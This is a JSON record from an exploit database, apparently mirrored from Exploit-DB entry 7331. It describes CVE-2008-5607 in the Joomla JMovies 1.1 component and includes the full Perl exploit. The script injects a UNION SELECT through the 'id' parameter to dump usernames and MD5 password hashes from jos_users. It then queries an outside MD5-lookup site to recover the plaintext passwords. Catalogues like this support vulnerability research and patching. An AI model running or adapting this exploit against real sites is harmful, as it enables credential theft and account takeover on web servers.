{"exploit":{"id":"EDB-7331","name":"Joomla! Component JMovies 1.1 - 'id' SQL Injection (SQLi)","description":"Joomla! Component JMovies 1.1 - 'id' SQL Injection (SQLi)","cves":["CVE-2008-5607"],"author":"StAkeR","published":"2008-12-03","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/7331","path":"exploits/php/webapps/7331.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-7331.pl","vulnerabilities":[{"id":"CVE-2008-5607","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in the JMovies (aka JM or com_jmovies) component 1.1 for Joomla! allows remote attackers to execute arbitrary SQL commands via the id parameter to index.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-5607","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-5607"},"updatedAt":"2024-08-07T10:56:47.336Z","retrievedAt":"2026-11-26T12:28:11.371Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-7331.png?v=2","url":"https://exploitbin.com/exploits/EDB-7331","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-7331/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-7331/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl -w\n# -----------------------------------------------------------\n# Joomla Component com_jmovies 1.1 (id) SQL Injection Exploit\n# by s3rg3770 with athos :)\n# demo http://www.disneyrama.com\n# -----------------------------------------------------------\n# Note: In lulz we trust :O\n# -----------------------------------------------------------\n\nuse strict;\nuse LWP::UserAgent;\nuse LWP::Simple;\n\n\nmy $host = shift;\nmy $myid = shift or &help;\n\nmy $path = \"/index.php?option=com_jmovies&Itemid=29&task=detail&id=-1+\".\n           \"union+select+1,concat(0x215F,username,0x3a,password,0x215F)+\".\n           \"from+jos_users+where+id=${myid}--\";\n\nmy $http = new LWP::UserAgent(\n                               agent   => 'Mozilla/4.5 [en] (Win95; U)',\n                               timeout => '5',\n                             );\n\n\nmy $response = $http->get($host.$path);\n\nif($response->content =~ /!_(.+?)!_/i)\n{\n     print STDOUT \"Hash MD5: $1\\n\";\n     print STDOUT \"Password: \".search_md5($1).\"\\n\";\n     exit;\n}\nelse\n{\n     print STDOUT \"Exploit Failed!\\n\";\n     exit;\n}\n\n\n\nsub search_md5\n{\n     my $hash = shift @_;\n     my $cont = undef;\n\n     $cont = get('http://md5.rednoize.com/?p&s=md5&q='.$hash);\n\n     if(length($hash) < 32 && !is_error($cont))\n     {\n          return $cont;\n     }\n}\n\n\nsub help\n{\n     print STDOUT \"Usage: perl $0 [host] [user ID]\\n\";\n     print STDOUT \"by athos - staker[at]hotmail[dot]it\\n\";\n     exit;\n}\n\n# milw0rm.com [2008-12-03]","sha256":"c4e5a5d41161afbabd0cc8860e94fca753926ecc397849006041c6500cd280c4","bytes":1467,"fetchedAt":"2026-11-26T12:06:16.627Z","encoding":"utf-8 (display only; download retains original bytes)"}